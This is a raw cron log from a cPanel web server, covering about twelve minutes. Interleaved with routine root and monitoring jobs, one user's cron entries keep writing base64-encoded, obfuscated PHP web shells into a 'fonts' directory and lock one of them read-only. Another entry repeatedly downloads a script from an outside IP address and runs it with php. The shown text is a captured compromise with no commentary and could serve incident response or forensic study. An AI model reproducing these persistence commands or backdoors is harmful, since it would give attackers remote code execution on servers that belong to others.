Sep  1 12:14:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:14:01 ip-184-168-122-23 CROND[21031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:14:01 ip-184-168-122-23 CROND[21033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:15:01 ip-184-168-122-23 CROND[21334]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21335]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:15:01 ip-184-168-122-23 CROND[21342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:16:01 ip-184-168-122-23 CROND[21691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:16:01 ip-184-168-122-23 CROND[21693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:16:01 ip-184-168-122-23 CROND[21697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:16:01 ip-184-168-122-23 CROND[21695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:16:01 ip-184-168-122-23 CROND[21698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:16:01 ip-184-168-122-23 CROND[21699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:17:01 ip-184-168-122-23 CROND[22017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:17:01 ip-184-168-122-23 CROND[22019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:17:01 ip-184-168-122-23 CROND[22020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:17:01 ip-184-168-122-23 CROND[22022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:18:01 ip-184-168-122-23 CROND[22261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:18:01 ip-184-168-122-23 CROND[22263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:18:01 ip-184-168-122-23 CROND[22265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:18:01 ip-184-168-122-23 CROND[22264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:18:01 ip-184-168-122-23 CROND[22266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:19:02 ip-184-168-122-23 CROND[22552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:19:02 ip-184-168-122-23 CROND[22554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:19:02 ip-184-168-122-23 CROND[22551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:19:02 ip-184-168-122-23 CROND[22553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:20:01 ip-184-168-122-23 CROND[22784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:20:01 ip-184-168-122-23 CROND[22795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:20:01 ip-184-168-122-23 CROND[22797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:20:01 ip-184-168-122-23 CROND[22798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:20:01 ip-184-168-122-23 CROND[22800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:20:01 ip-184-168-122-23 CROND[22806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:20:01 ip-184-168-122-23 CROND[22805]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:20:01 ip-184-168-122-23 CROND[22804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:20:01 ip-184-168-122-23 CROND[22807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:21:01 ip-184-168-122-23 CROND[22973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:21:01 ip-184-168-122-23 CROND[22975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:21:01 ip-184-168-122-23 CROND[22976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:21:01 ip-184-168-122-23 CROND[22979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:22:01 ip-184-168-122-23 CROND[23118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:22:01 ip-184-168-122-23 CROND[23117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:22:01 ip-184-168-122-23 CROND[23121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:22:01 ip-184-168-122-23 CROND[23123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:22:01 ip-184-168-122-23 CROND[23122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:23:02 ip-184-168-122-23 CROND[23358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:23:02 ip-184-168-122-23 CROND[23357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:23:02 ip-184-168-122-23 CROND[23359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:23:02 ip-184-168-122-23 CROND[23361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:24:01 ip-184-168-122-23 CROND[23536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:24:01 ip-184-168-122-23 CROND[23537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:24:01 ip-184-168-122-23 CROND[23539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:24:01 ip-184-168-122-23 CROND[23538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:24:01 ip-184-168-122-23 CROND[23544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:25:01 ip-184-168-122-23 CROND[23722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:25:01 ip-184-168-122-23 CROND[23723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:25:01 ip-184-168-122-23 CROND[23725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:25:01 ip-184-168-122-23 CROND[23729]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 12:25:01 ip-184-168-122-23 CROND[23727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:25:01 ip-184-168-122-23 CROND[23730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:25:01 ip-184-168-122-23 CROND[23728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:26:01 ip-184-168-122-23 CROND[23823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:26:01 ip-184-168-122-23 CROND[23825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
